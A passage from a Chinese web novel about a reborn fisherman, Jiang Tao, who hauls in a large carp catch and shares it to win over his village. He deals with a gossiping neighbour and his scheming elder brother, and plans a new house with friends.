“哎哟,这不是涛子嘛?这是又要去江边捞鱼啊?啧啧,这江里都飘过流尸了,水底下说不定还阴魂不散呢!有些人啊,真是钻到钱眼里去了,为了几个钱,连命都不要了!” 这话说得恶毒至极。 周围村民的眼神也变得有些异样。 赵老头脸色一沉,就要发作。 铁牛也捏紧了拳头,气得脸色涨红。 江涛却像没听见一样,推着车继续往前走,只是眼神冷了几分。 跟这种长舌妇一般见识,只会拉低自己档次。 有时候,实力才是最好的回击。 刘快嘴见江涛不理会,以为他心虚,心中更加得意,刚要再开口。 “刘快嘴,你胡咧咧什么呢!” 老张正好路过,听见这话,立刻瞪着眼睛骂道,“人家打渔碍着你什么事了?王癞头自己作死成了流尸,以后我们就都别去江边了呗?!我看你是眼红人家能捞着鱼吧!有本事你也去捞啊,看江里的鱼认不认你这张碎嘴!” 刘快嘴被老张怼得脸上一阵青一阵白,尖着嗓子反驳。 “哟,老张,你这么急着跳出来,是收了江涛多少好处啊?我说句实话都不行?那老拗口刚淹死人,他们就去,不是晦气是什么?沾了晦气,回头连累咱们全村怎么办?我这可是为村里着想!” “呸!你少在这儿假惺惺!” 老张啐了一口,“还为了村里着想?你平时编排这个编排那个的时候,怎么不想着是为村里好?我看你就是看涛子挣钱了,心里不舒坦!有这闲工夫嚼舌根,不如回家把你那鸡窝收拾收拾,别整天咕咕蛋都下到别人家窝里,还倒打一耙说是人家偷你的!丢不丢人?” “你!你放屁!老张你个老不修,帮着小辈欺负我一个妇道人家,你算什么东西!” 刘快嘴被戳到痛处,气得跳脚。 她家鸡确实老跑别人家下蛋。 “我是什么东西用不着你管!我就是看不惯你这张见不得人好的破嘴!” 老张寸步不让,“赶紧滚回家去,别在这儿挡道,耽误涛子他们干活!” 周围看热闹的村民也小声议论起来,大多觉得刘快嘴过分了。 “狗拿耗子多管闲事!” 刘快嘴见势不妙,只能恨恨跺了跺脚,灰溜溜快步走了。 “涛子,别理她!这种人就是见不得别人好!你们赶紧去,多捞点,气死她!” 老张有自己的算盘。 江涛真要捞到很多鱼,肯定得用他的板车,到时又是几块钱辛苦费。 “谢谢张叔。” 江涛对老张点点头,心里记下这份人情。 三人不再耽搁,加快脚步赶往老拗口。 到了地方,江涛仔细观察水情,选了一处水流相对平缓的回水湾。 按照情报提示,这里就是鲤鱼聚集地。 他凝神望向水面,果然看到靠近岸边的水下,隐约有淡红色影子在缓缓游动,数量还不少呢! 阳光透过水面,映得那些鳞片闪闪发光。 “就这儿,下网!” 江涛一声令下,三人立刻行动起来。 几网下去,手上传来的沉重感,以及水花下翻涌的淡红色身影,让三人都是心头狂喜! 好多鲤鱼! 而且个头都不小呢! “嚯!这么多!个头还大!” 赵老头心里那点膈应,在看到这满网活蹦乱跳的鲤鱼时,瞬间烟消云散了,只剩下兴奋和难以置信。 “涛子,你这眼力真是神了!” “快!接着捞!别让鱼群散了!”江涛大声指挥。 三人配合默契,一网接一网,仿佛不知疲倦。 带来的水桶很快装满,带来的麻袋也用上了。 眼看收获远远超出预期,带来的家伙事根本装不下。 “涛子,鱼太多了!装不下了!” 铁牛看着地上堆积如山的鲤鱼,又是高兴又是发愁。 “铁牛,你腿脚快,赶紧跑回村,找老张借板车!再借些水桶!让他帮忙推过来!” “赵叔,咱们先把捞上来的鱼,归拢到岸边浅水处,用渔网圈着,保持鲜活!” “好嘞!” 铁牛应了一声,撒腿就往村里跑。 老张一听又要借板车,二话不说,把家里的水桶和左邻右舍的水桶都搜罗上,推着车就跟铁牛来了。 看到浅水那堆成小山的鲤鱼,老张也惊得合不拢嘴。 四人合力,将鲤鱼分装到水桶,在板车上摆得层层叠叠,用绳子捆了又捆,扎得结结实实! “这怕不是得有上千斤!” 看着沉甸甸的板车,老张直咂舌。 他试着推了一下,车子纹丝不动。 铁牛连忙上前帮忙,两人一起用力,才将板车缓缓推动。 “铁牛,你放手,我来……” 老张累得呼哧带喘,但脸上笑开了花。 这趟辛苦费肯定少不了。 江涛、铁牛、赵老头也累得够呛,但看着这满满一车鲤鱼,疲惫被巨大的喜悦冲刷得干干净净。 今天开门红,必定预示着未来的日子更加红火。 第72章 收买人心 四人推着沉甸甸的板车,满载十几桶鲤鱼,缓缓往村里走。 此时正值晌午,不少村民刚吃完午饭,正准备下地干活。 一见这壮观景象,纷纷围了上来。 “我的老天爷!这么多鲤鱼!涛子,你们这是把江里的鱼王爷请来了吧?” “这鱼真漂亮,个顶个的大!看这颜色多喜庆啊!” “涛子,你这运气也太好了!昨天是鲫鱼,今天是鲤鱼,明天该是什么?” “这是要发大财的节奏啊!” 村民们围在板车旁,七嘴八舌,脸上写满了羡慕和惊叹。 赵老头和铁牛挺着胸脯,脸上是与有荣焉的自豪。 老张也笑得合不拢嘴,心里盘算着今天的辛苦费,觉得这力气出得值了。 “运气而已!” 江涛笑着摆摆手,随即从水桶里捞出一条条鲤鱼,递给那些真心道贺的村民。 “刘二哥,拿着,给孩子熬汤。” “王婶,这条给您,图个年年有余。” “李伯,您也拿一条,尝尝鲜。” “哎哟,谢谢涛子!” “涛子你可真大方!” “这怎么好意思!” 拿到鱼的村民个个眉开眼笑,连声道谢,对江涛更是赞不绝口。 而那些没分到的,看得更加眼馋,但也知道人家捞鱼辛苦,能主动分已是难得,纷纷说着恭喜的话,盼着能尽快轮到自己。 人群里,刘快嘴也伸长脖子看着,心里像有二十五只猫爪在挠。 尤其看到平时跟她关系不咋样的王婶、李伯都得了鱼,心里更是酸得冒泡。 她也想上去说两句好话混条鱼,可此前在村口她刚骂了人家晦气、钻钱眼,现在哪里拉得下脸? 眼见越来越多的村民拿到鱼,她实在忍不住了,挤出一个极不自然的笑容,凑到板车旁,提高嗓门,语气里带着刻意的讨好。 “哎哟,涛子回来了!这么多鲤鱼,真是大丰收啊!这颜色多喜庆,一看就吉利!这是要发大财,日子越过越红火啊!” 她这前后不一的做派,让周围不少村民都露出了鄙夷的神情。 之前还骂人家晦气,现在看人家捞着鱼了,又说吉利话讨鱼,这脸皮也太厚了。 江涛眼皮都没抬一下,仿佛没听见刘快嘴的话,继续给旁边一位帮忙扶了下车的老大爷拿鱼。 “三爷爷,您拿好,回家慢着点。” 刘快嘴见江涛不理她,脸上笑容僵住,又不好发作,只能尴尬地站在那里。 进也不是,退也不是。 但眼看江涛一桶鱼都快分完了,她实在没忍住,硬着头皮又补了一句。 “涛子,怎么别人都有鱼,我就没有?” 这时,一直冷眼旁观的老张看不下去了。 他本就是个直性子,刚才在村口就跟刘快嘴吵了一架,现在更是气不打一处来。 “刘快嘴,你刚才在村口说啥来着?哦,说人家去捞鱼是晦气,是钻钱眼,是连累全村!” “怎么,现在看见鱼了,就变成吉利、红火、发财了?你这张嘴,上下嘴唇一碰,怎么说都有理啊?变脸比翻书还快!” “呸,我都替你臊得慌!还想要鱼?回家照照镜子,看你那张脸配不配!” 老张连珠炮似地骂得毫不留情,引得周围村民一阵哄笑。 刘快嘴的脸瞬间涨成猪肝色,被怼得张口结舌,嘴唇哆嗦着,却一个字也说不出来。 周围嘲讽的目光像针一样扎在她身上,让她恨不得找个地缝钻进去。 “我、我……” 她支吾了半天,最后狠狠瞪了老张和江涛一眼,也顾不上要鱼了,低着头,灰溜溜地挤出人群,逃也似的跑了。 身后传来村民们毫不掩饰的嘲笑声。 “哈哈,刘快嘴这下可算是自己打自己脸了!” “活该!谁让她那张嘴平时不积德!” “就是,见不得人好,现在自找没趣!” 江涛笑笑,仿佛刚才的小插曲根本没发生过。 给最后一个道贺的村民分了鱼,他招呼铁牛、赵老头和老张,推着剩下的鱼,稳稳地朝家走去。 “涛子,刚才没必要分那么多鱼啊。” 赵老头看着一个桶都快见底了,心里有些心疼,“咱辛辛苦苦捞上来的,这么一分,少卖不少钱呢。” 江涛笑了笑,“赵叔,大家乡里乡亲的,分点鱼让大家都沾沾喜气” “可这也分得太多了……”赵老头还是觉得肉疼。 “不多。” 江涛摇摇头,“您想想,咱们以后还要在村里过日子,这两天又是鲫鱼又是鲤鱼的,弄回来这么多,村里人能没点想法?” “红眼病最麻烦,明面上不说,背地里给你使绊子,你防都防不住。现在主动分出去一些,大家吃人嘴软,再说闲话就不好意思了。这比事后花钱消灾划算多了。” 老张在一旁听得直点头,“涛子这话在理。人情这玩意儿看着不值钱,真要用上了,千金难买。你看刘快嘴刚才那嘴脸,再看看现在谁还信她胡咧咧?” 铁牛也憨憨地附和,“涛哥说得对,反正咱也没亏,图个心里踏实。” 赵老头琢磨了一下,叹了口气,“也是,到底是你们年轻人脑子活泛,我光盯着桶里那点鱼了。” 江涛笑着拍了拍赵老头的肩膀,“赵叔心疼是应该的,毕竟这鱼是咱们一起流汗捞上来的。放心,分出去的,咱们能从别的地方赚回来。” 分鱼看似损失,实则不然。 一来收获实在太多,分的那桶看着多,其实也就几十斤,分出去做个人情,也能堵住一些闲言碎语。 二来、让村里人看到他的大方和诚意,缓和一下因他迅速暴富可能引起的嫉妒,算是某种程度上的收买人心和润滑关系。 毕竟,乡里乡亲的,以后要在这里长久生活,名声和人际关系很重要。 刘快嘴这种跳梁小丑,自有老张这样的人去对付,他犯不着亲自下场,平白失了身份。 江涛两世为人,经历过大起大落,看透了人情冷暖,也尝尽了世态炎凉。 上辈子浑浑噩噩,被人算计,最终被个野种拔了氧气管,不得好死。 这辈子重来,虽然起点更低,但有了情报这个依仗,更有了珍惜的家人和改变的决心。 这几天接连不断的丰收,财富的迅速积累,让他真切地感受到了改变命运的可能。 而今天在村口,面对刘快嘴的刁难和后来的谄媚,再到分鱼时村民们的态度变化,让他心里忽然有了种奇异的顿悟。 很多事,其实道理是相通的。 上辈子在商场摸爬滚打,最终只是小打小闹,但也见识了利益的纠缠和人心的复杂。 这辈子在江边讨生活,看似简单,其实也一样。 打渔,不只是力气活,更是人情世故。 情报让他知道鱼在哪里,但要把鱼捞上来,卖出去,换成实实在在的钱,再把钱变成更好的生活,这中间每一步,都离不开人。 他需要铁牛、赵老头这样的帮手出力,需要老张这样的跑腿帮忙,需要东风饭店的蒋管事、顾师傅这样的销售渠道,也需要高主任、刘主任这样的大买家。 甚至,连村里那些看似无关的乡亲,他们的舆论和态度,也无形中构成了他生存和发展的环境。 就像鱼儿离不开水,他要在这片水域里活得滋润,就离不开这些水的包容和支持。 想通了这些,江涛觉得心头一片清明。 未来的路该怎么走,似乎也清晰了许多。 光埋头捞鱼不行,还要把各个环节的人和关系都维护好,这样生意才能做得长久安稳。 江涛几人推着满载的板车到了家。 林月柔和孩子们仿佛提前得到了消息,早已等在门口。 当看到板车上那层层叠叠水桶时,她们都惊呆了,眼睛瞪得溜圆,小嘴微张,半天合不拢。 “这、这……” 林月柔指着板车,说不出完整的话。 本以为昨天几百斤鲫鱼已是极限,没想到今天的收获更加惊人! “哇!好多鲤鱼!爸爸好厉害!” 江盼娣第一个反应过来,拍着手欢呼。 江招娣也激动得小脸通红,“这么多!这得有多少斤啊?” 几个小丫头更是兴奋地围着板车又蹦又跳,叽叽喳喳像一群快乐的小麻雀。 “铁牛,赵叔,咱们先把桶卸下来!” “月柔,赶紧把家里能装水的家伙都拿出来!” “招娣,盼娣,来娣,你们也帮忙,把鱼分到盆里桶里,动作轻点,别把鱼弄死了!” “哎!” 一家人立刻行动起来。 连老四、老五几个小不点也学着姐姐的样子,小心翼翼地帮忙递东西。 很快,院子里再次被盆盆桶桶填满。 第73章 关上一阵子 江涛将鱼大致安顿好,让铁牛和赵老头在家看着,自己则提了几条最大最鲜活的鲤鱼,骑上自行车去了村公所。 “李支书,在家吗?” “是涛子啊,快进来!” 李富贵正在屋里喝茶,见江涛提着几条肥硕鲤鱼进来,眼睛一亮,“哎哟,这是……” “今天在江里捞了点鲤鱼,给您送几条,图个年年有余,也感谢您昨天帮忙。”江涛笑着将鱼递过去。 “这……这怎么好意思,太客气了,太客气了。” 李支书嘴上推辞,但脸上笑开了花。 他连忙接过鱼,啧啧称赞,“这鲤鱼真肥,颜色还挺好看,好兆头!涛子,你这一手打渔的本事,现在是真出神入化了。” 两人寒暄了几句,江涛道明来意,想借用电话联系县里。 李支书自然爽快答应。 江涛先给高主任打了过去。 “高主任,是我,江涛。” “涛子啊!怎么着,又有鱼了?”高主任声音里带着笑意。 “对,今天运气不错,捞了上千斤鲤鱼,都是活的,又大又鲜。我想着您那边……” “上千斤?” 高主任明显愣了一下,“涛子,你这动静可不小啊。不过说实话,我一个人可吃不下这么多,顶多要个一二百斤,再多我也没法处理。” 江涛心里有了数,笑着提议,“高主任,要不这样,我一会儿再给刘主任打个电话,让他出面采购,来一辆卡车把鱼拉走。到时匀一百斤给您,您看行不行?” “老刘?” 高主任略一沉吟,“他那边倒是能走量……行,我没意见,就看老刘答不答应了。” “您放心,我来跟他协调。” 挂了电话,江涛又拨通了刘主任的号码。 “刘主任,我是江涛。” “江涛?哈哈哈,是不是又有好东西了?”刘主任语气带着几分期待。 “今天捞了上千斤大鲤鱼,全是活的,个头都挺大。我想着您那边路子宽,能不能派辆卡车来拉?” “上千斤?活鲤鱼?” 刘主任的声音一下子高了八度,“好家伙,涛子你可真行!行,这买卖我干了。” 江涛接着说道:“刘主任,有个小事跟您商量一下。高主任那边也想要点,我答应匀一百斤给他,您看……” 电话那头顿了一下,随即传来刘主任爽朗的笑声:“行行行,上次鲢鳙占了老高的便宜,这次我吃点亏,车我来出,分他一百斤就是了。没毛病!” “那就多谢刘主任了!” “谢什么,互帮互助嘛。” 江涛挂了刘主任的电话,又给高主任回了过去。 “高主任,刘主任那边答应了,车他出,到时匀一百斤鱼给您。” “哦?” 高主任有些意外,“老刘这回还挺有觉悟嘛。” “上次鲢鳙您也匀给他了,刘主任心里有数。”江涛笑着补了一句。 “行,那这事儿就这么定了。涛子,往后有什么好东西,记得想着我们就行。” “一定一定。” 李富贵在旁听着,见江涛三言两语就把上千斤鱼安排得明明白白,心里既佩服又感慨。 这小子,以前见人说话也没个章法,如今在电话里跟县里的主任们有来有往,谈笑风生,真跟换了个人似的。 打完电话,江涛正准备走,李支书却叫住了他,神色变得严肃了些。 “涛子,你来得正好,我正好有事要跟你说。今天上午,乡里派出所的公安同志来找我了解情况,顺便也透露了点消息。” “哦?是关于王癞头那事?”江涛停下脚步。 “是,也不全是。” 李支书压低声音,“主要是刘狗子、程胖子、马三那三个怂货,在派出所经不住吓唬,把什么都吐了。其中有件事跟你有关。” 江涛一愣,“李支书,他们跟我没什么过节吧?” 他当混子那会儿,顶多是被宋二拉着赌过几回,跟刘狗子那几个人还真没什么直接恩怨。 “别急,你先听我把话讲完。” 李支书示意他稍安勿躁,“那几个闲汉为了立功减罪,不光说了王癞头怎么落水,他们怎么见死不救,还把平时跟着宋二干的那些偷鸡摸狗、讹诈勒索的破事,一五一十全抖落了出来。” “还说宋二指使他们盯着你,想找机会对你下手!不过还没来得及动手,王癞头就出事了。” “他们供出宋二了?”江涛心中一动。 “供了,供了个底朝天!” 李支书有些解气道,“什么偷老邹小卖部的烟酒,偷东家菜地西家鸡窝,合伙在路上拦过路的外地人要点过路费,连之前村里丢的几样农具,也说是宋二让他们拿去废品站卖了换钱花了。桩桩件件,都往宋二身上推。” “公安同志来核实,我把以前村里接到的一些举报,还有掌握的一些情况,也都跟公安同志说了。这次,宋二怕是没那么容易出来了。那三个闲汉,估计也得关上一阵子。” 江涛听着,心里说不出是什么滋味。 上辈子,宋二就像一块甩不脱的狗皮膏药,先是引诱他赌博将他拉下水,后来又联合葛亚慧算计他,最终害得月柔和几个孩子走投无路跳了江。 那时的他,只是个不争气的混子,被宋二欺压算计,在村里人嫌狗厌,没人愿意站出来说句公道话。 而如今,不过短短几天,情况已然天翻地覆。 这固然有宋二多行不义的报应,但自己这几天的风光和能耐,无形中也改变了村里人看待他的眼光。 连李支书这样的村干部,也愿意帮上一把,借机敲打一下宋二这个不安定因素。 “我也听人说宋二想对我下手,这段时间我正发愁呢。” 江涛神情里带着一丝后怕和庆幸,“我个人倒是没什么,光脚不怕穿鞋的。可月柔性子软,家里又都是丫头片子,胆子也小。” “我怕宋二那混蛋急了眼,明着不敢来,暗地里使阴招,对她们娘几个不利。那我真是防不胜防了,想想都揪心。现在好了,他自己进去了,起码也能安生一阵子。” 李支书听完,看江涛的眼神又多了几分赞赏。 “涛子,你能这么想就对了。男人成了家,有了老婆孩子,肩上就有了担子,做事就得想得更周全。你能为家里人考虑,这是好事,说明你真的懂事了。不像以前……” 他没说完,但江涛明白那未尽之语。 以前他只顾自己混账,何曾想过妻女的安危? “谢谢您,李支书。以前是我不懂事,让您和村里人操心了。”江涛诚恳地接过话头。 “谢什么,应该的。” 李支书摆摆手,语重心长道,“宋二在村里横行不是一天两天了,这次能把他弄进去,对村里也是件好事。” “涛子,你现在是咱们村有本事的人了,以后好好干,把日子过红火。但也得记住,树大招风,自己行事要端正,别让人抓了把柄。有什么难处,可以来找我。” “我明白,李支书,您放心。”江涛郑重点了点头。 从村公所出来,江涛推着自行车,午后的阳光有些晃眼。 他看着村里熟悉的土路和房屋,心里格外踏实。 上辈子的悲剧,根源在于自己的不争气,也在于势单力薄、无人可依。 这辈子他醒了,也拼了。 短短几天,他就攒下了以前想都不敢想的家底。 赢得了家人的依赖,得到了铁牛、赵老头这样实心眼的帮手,也初步建起了高主任、刘主任这样可靠的销路。 就连村里的风向,都在悄然改变。 宋二倒霉,固然让人快意。 但若自己是不争气,不努力,就算没有宋二,也会有张二、王二这样的坏水冒出来。 打渔是眼前来钱的路子,但绝非全部。 他还要建新房,安顿好家人,买渔船,扩大生产,维护好各方面的关系。 未来,或许还能搞点养殖,争取每一步都要走得稳当扎实。 他要的不只是眼前的温饱和暴富,而是一个安安稳稳的未来。 想到这里,江涛胸中豪情顿生,跨上自行车用力一蹬,朝着家的方向疾驰而去。 第74章 房子我会建啊 江涛回到家,想着这上千斤的鲤鱼卖掉,应该就能突破万元户大关了。 刚进自家院子,却见江海背着手在院里踱步,脸色不大好看。 铁牛和赵老头在旁边整理渔网,两人都没怎么搭理他。 江海一见到江涛,立刻板起脸,拿出大哥的派头,“老三,你回来了?正好,我有事找你。” “什么事?” 江涛随口问了一句,将自行车停在院墙边上。 江海皱了皱眉,看了看旁边的铁牛和赵老头,用眼神示意这两人回避。 可铁牛和赵老头跟没看见似的,继续忙活。 江涛也装作没懂,直接道:“大哥,有话直说,铁牛和赵叔不是外人。” 江海见他如此不给面子,脸色更沉,但又不好发作,只能压低声音,带着几分不易察觉的酸意和不耐烦。 “赵老板想见见你。” “赵老板?” 江涛一时没反应过来,“哪个赵老板?” “昨天在渡口你不是见过吗?就是考察我们草编厂的那位赵老板!江南来的大老板!” 江海提高了声音,语气里带着强调,仿佛“江南来的大老板”几个字能增加不少分量。 “哦,他啊。见我干嘛?” 江海被他这漫不经心的态度噎了一下,心里更气。 今天厂里让他打电话问问赵老板考察意向。 结果电话打过去,赵老板对草编厂投资的事含糊其辞,反而话锋一转,说对他弟弟很感兴趣,想邀请他方便时去江南看看,交流交流。 江海一开始还纳闷是哪个弟弟,赵老板说是在渡口见的那个打鱼的。 这让江海心里像打翻了醋坛子,又酸又气。 他堂堂草编厂副主任,在赵老板面前毕恭毕敬,结果人家没看上他,反倒对江涛这个游手好闲的弟弟感兴趣! 但转念一想,江海又觉得这是个机会。 赵老板能看上江涛,说不定是条路子。 要是江涛能讨好赵老板,帮忙说几句话,草编厂的投资不就有戏了? 他这才忍着气,屈尊来到江涛这破土屋。 一来就被满院子的鲤鱼震撼了一下,问了几句,可铁牛和赵老头却爱答不理的,更让他憋了一肚子火。 但想到此行的目的,他才一直耐着性子等到江涛回来。 “人家赵老板是大企业家,能看上你,是你的福气!让你去江南看看,那是给你机会!你这是什么态度?” 江海强压着不满,语重心长地教训道,“涛子,你也老大不小了,做人要稳重,要懂得把握机会。赵老板那样的人物,咱们得罪不起,你说话做事要懂得分寸,别给人留下不好的印象。” 江涛一整个大无语。 大哥这番话,看似关心实则充满算计和教训。 他又不是三岁孩子,还能听不出这弦外之音? 这是想拿他当攀附关系的跳板呢。 “大哥,我跟他拢共就见了一面,话都没说几句,怎么就说得罪不得罪的了?我看赵老板人挺和气,不像是那种会随便记仇拿架子的人吧?倒是你,拿着鸡毛当令箭,还是狐假虎威啊?” “你!” 江海被戳中心思,脸上一阵青红,尤其看到旁边铁牛和赵老头都忍不住别过脸去偷笑,更是恼羞成怒。 “你怎么说话的?我这是为你好!你别不识好歹!赵老板能看上你,那是你八辈子修来的福气!多少人想巴结都巴结不上!你要是能得了赵老板的欣赏,提携你一把,你这破土屋改建个大房子,那不是轻轻松松的事!靠打渔才挣几个钱,你懂不懂?” “我不懂。” 江涛干脆利落地回道,“我现在就挺好,靠自己的双手吃饭,心里踏实。赵老板的好意我心领了,但我家里事多,一时走不开。那什么去江南,以后再说吧。大哥,你要是没别的事,就请回吧,我这儿还忙着呢。” “你……你真是烂泥扶不上墙!” 江海被气得浑身发抖,指着江涛,“我好心好意来给你指条明路,你就这么对我?你就守着你这破土屋,打一辈子鱼吧!我看你能打出什么名堂!” “铁牛,赵叔,送客。” 江涛懒得再跟他废话,直接对铁牛和赵老头说道。 “哎,江主任,您请吧。” 铁牛和赵老头早就看江海不顺眼了,立刻上前,客气地将江海请出了院子。 江海被两人半推半请地弄到门外,气得在院外跳脚。 “老三,你别得意!就你家这破土屋,风吹雨打的早晚塌了!到时候你别后悔没听我的!” “涛子,你大哥这是嫌弃你家土屋破呢。”赵老头关上门,笑着对江涛说。 江涛看着自家住了多年的老土屋,墙皮有些剥落,屋顶的茅草也有些稀疏。 他点了点头,“是有点破了。” 新房,是时候提上日程了。 “赵叔,铁牛,等刘主任拉走鱼,咱们去乡里打听打听建新房的事,看看砖瓦木料的行情,也问问人工。” 江涛印象里,这年代农村建房,要么自家慢慢来,要么请专门的泥瓦匠木匠班子,工钱材料都要仔细打听清楚。 铁牛一听,“涛子,还打听什么呀,这房子我会建啊。” “你一个人怎么建啊?” 江涛失笑,“这建房子可不是砌个灶台搭个鸡窝那么简单。哎,铁牛,我没发现你还挺能吹牛的啊。” “不是啊,涛子,” 铁牛急得脸都有些红了“这建房我真会,没必要去请外人,浪费钱。我十六岁就跟我舅舅在乡里建筑队干过,砌墙、上梁、打地基、铺瓦,我都干过!那什么材料价格我也懂,石灰多少钱一车,砖头瓦片什么价,杉木檩条多少钱一根,我都门清!” “真的假的?” 江涛见他言之凿凿,不像在吹牛,不由得信了几分。 他看向赵老头,用眼神询问。 赵老头抽了口水烟,笑着点头,“涛子,铁牛这孩子不会说瞎话。他舅舅以前确实是乡里小有名气的泥瓦匠头儿,铁牛跟着干过几年。后来他舅舅年纪大了不干了,铁牛又没别的门路,就回村种地打零工了。建房这事,他真能顶大用。” “就算铁牛能砌墙,上梁这些大活一个人也干不了吧?” 江涛还是有些疑虑。 后世农村建房,至少也得一个工头带几个熟练工,加上一堆小工帮忙才行。 “嗨,这有啥难的。” 赵老头磕了磕烟袋,“我娘家有个侄子,就是干木匠的,手艺不错,做门窗、打家具、上大梁都行。到时我把他叫过来帮忙,管顿饭,给点辛苦费就行,比外头请人便宜多了。他还能再带两个打下手的徒弟。” “就这几个人也建不了吧?” 江涛还是觉得不保险。 毕竟建房是大事,万一哪里出点纰漏,可不是闹着玩的。 “到时小工好说,乡里乡亲的,谁家盖房不互相帮忙?咱们管饭,一天再给个块儿八毛的辛苦钱,有的是人愿意来!” 赵老头显然对这套流程很熟,“挖地基、和泥、搬砖递瓦、上梁拉绳这些活计,村里壮劳力谁都能干。我出面喊一声,能来不少人。” “再说了,咱们村老张、老李几个,以前也给人盖过房,多少懂点。有铁牛和我侄子带着,出不了岔子!” “是这样的吗?” 江涛被他们说动了。 上辈子虽然也活了几十年,但早年混日子,后来跑小买卖,还真没自己主持盖过房子。 听赵老头和铁牛这么一说,似乎农村建房,靠的就是这种熟人帮工的模式,只要核心的技术工在,其他都好办。 这样算下来,能省下不少工钱,而且用料也能自己把控,避免被坑。 “涛子,你信我!地基给你打牢实,墙给你砌得笔直,大梁给你上得稳稳当当!保准比外头请人盖得还好,还省钱!” 看着铁牛憨厚却充满信心的脸,再看看赵老头胸有成竹的样子,江涛心里那点疑虑彻底打消了。 他笑着拍了拍铁牛的肩膀,“行!铁牛,那这建新房的活儿,可就交给你了!赵叔,到时候也得辛苦您多张罗!” “放心吧,涛子!保证给你把事办得妥妥帖帖!” 第75章 突破万元大关! 几人说得兴奋,林月柔带着几个丫头从屋里出来。 刚才江海在,为免冲突和不必要的麻烦,也免得孩子们听到什么不中听的,林月柔特意带着她们待在屋里没出来。 而江海也压根没想着跟林月柔和几个丫头片子打招呼。 属于两厢都无意,倒也省了尴尬。 她们在屋里把江涛和铁牛、赵老头的谈话听了个七七八八。 尤其听到要盖新房,几个丫头的眼睛一下子亮了。 “爸爸,我们家要盖新房子了?” 江招娣素来最稳重,此刻声音里却带着压抑不住的兴奋。 “真的吗,爸爸?” 江盼娣扑闪着大眼睛,满是憧憬,“是不是盖得像支书爷爷家那样,是青砖大瓦房?院子里还能种好多花?” 老三江来娣和其他几个小丫头也叽叽喳喳围了上来,仰着小脸七嘴八舌地问着。 “爸爸,新房子会有亮堂堂的玻璃窗户吗?” “有没有灶间?灶间大不大?妈妈做饭就不挤了!” “新房子是不是特别大?我们是不是每个人都能有自己的床?” 听着几个丫头的话,江涛心里很不是滋味。 孩子们嘴上虽从不抱怨现在拥挤简陋的生活,心里却如此渴望改变。 可家里连个像样的窗户都没有,光线全靠巴掌大的小洞。 睡的木板床更是硬邦邦的。 他和林月柔带着老八睡大床,几个稍大的丫头挤在另一张破床上,再小点的几个就用破木板加红砖搭成简易床铺。 林月柔也走到身边,眼神里有询问,有期待,但更多的是对丈夫无条件的支持。 刚才江涛拒绝江海时的那份干脆和底气,以及现在从容谋划未来的样子,让她心里无比踏实。 江涛看着妻女,心里生出一份沉甸甸的责任感。 几个女儿加上他们夫妻,起码需要十个房间。 小九虽然不在,但迟早都要接回来。 当初真是脑子抽风,竟然将小九给卖了。 每每想起这些,江涛就觉得心痛,还好家里也没人提这事,要不然他都不知道如何自处了。 “对,咱们家要盖新房子了。盖个两层半小楼房,这样楼上楼下房间才够用。” “你们不光能有自己的床,而是还会有自己的房间。” “院子也要大,想种花就种花,想养鸡就养鸡。到时候再在院子里打口水井,用水也方便。” “太好了!我家要盖楼房了!” 江盼娣第一个欢呼起来,拍着小手原地蹦跳。 “爸爸真棒!”江招娣也笑得眉眼弯弯。 “我们每个人都有自己的房间!” 江来娣和其他丫头兴奋地抱在一起,叽叽喳喳地讨论着谁要住楼上,谁要住楼下。 林月柔看着丈夫,眼圈微微发热,心里满是幸福和满足。 “你决定就好,我都听你的。只是家里那点钱,也不知够不够?” 这两天挣了不少,但要盖村里少见的二层半楼房,这花费肯定不菲。 要只盖普通的青砖瓦房,那八千块绝对够了。 但江涛说要盖二层半红砖楼房,这花费可就要翻着倍地往上涨了。 “放心,月柔,钱的事我来想办法。” 江涛给了她一个安心的眼神,“等把今天的鱼卖了,咱们的钱就更宽裕了。盖房的事,铁牛和赵叔能帮着张罗,能省不少。咱们就等着住新房子吧!” “好!”林月柔点了点头。 这个家,终于要迎来崭新的开始了。 “铁牛,涛子要盖二层半楼房,你这……能行吗?” 赵老头看向铁牛,心里打鼓,“楼房跟平房可不一样,地基、结构、用料都更讲究。” 他知道铁牛能干,但楼房在村里可是稀罕物,没盖过的人心里都没底。 万一出点纰漏,可不是小事。 铁牛挠了挠头,“我舅舅盖过乡里供销社的二楼,当时我跟着打下手,从打地基到上梁封顶,流程我都知道。就是没自己主过事……” “不过不怕,我知道该怎么做,用料、工序心里都有数。到时再请赵叔您侄子那样有经验的木匠来,咱们一起商量着干,肯定能行!” “也是,应该出不了岔子。” 赵老头给铁牛打气,心里却想着,到时候还得厚着脸皮去请一两位当年跟铁牛舅舅一起干过的老泥瓦匠来把把关,图个稳妥。 铁牛和赵老头心里有了谱,江涛却没掉以轻心。 上辈子,见过太多因不懂行,盲目上马而导致的质量问题甚至安全事故。 建房是百年大计,尤其要盖楼房,必须慎之又慎。 “铁牛、赵叔,这事咱们一步步来。先去乡里把建房申请和地皮手续跑下来,然后看看现在有什么新样式。” “到时候我看看能不能请颜伯伯帮忙,从县里介绍个懂建筑的老师傅或技术员,来给咱们的设计和地基把把关,就当是请个顾问,确保万无一失。” “涛子,还是你想得周到!” 赵老头一听要请县里的技术员,心里的担心顿时烟消云散。 有专业人士指点,那还怕啥? 铁牛也憨笑点头,“有技术员指点,我心里就更踏实了!涛子,你放心,我一定把咱家新楼房盖得又结实又漂亮!” 几人说得兴起,不知不觉个把小时过去了。 看看天色,刘主任他们也该到了。 说曹操曹操到,院门外传来卡车引擎的“突突”声。 众人循声望去,一辆绿色卡车停在门外,车上跳下来两个人,正是刘主任和他的司机小王。 林月柔带着江招娣和几个丫头进了屋。 院子本就挤得满满当当,再多了外人更是转不开身,也省得孩子们碍事。 “江涛同志,我们来了!这鱼……” 刘主任笑呵呵走进院子,话说到一半,就被满院的盆桶给震住了。 饶是他昨天见识过几百斤鲫鱼的场面,今天这上千斤鲤鱼的规模,还是让他忍不住倒吸了一口凉气。 “哎哟我的天,涛子,你这这可真是大场面啊!” 刘主任快步走到一个大木盆边,蹲下身仔细查看。 鲤鱼个头均匀,鳞片完整鲜亮,活力十足,在水中摇头摆尾,一看就是上等好货。 “刘主任,您过奖了,就是运气好碰上了鱼群。”江涛笑着迎上去。 “这可不是光运气的事儿。” 刘主任站起身,拍了拍手,脸上是掩饰不住的满意,“行,涛子,你这货,我全要了!咱们现在就过秤?” “行,听您的。” 铁牛、赵老头、司机小王立刻行动起来。 老张没走远,一直关注这里,见状也跑来帮忙。 刘主任则站在一旁监督计数。 过秤的过程持续了不短时间。 刘主任做事仔细,每称一桶都要亲自查看秤星,记录毛重。 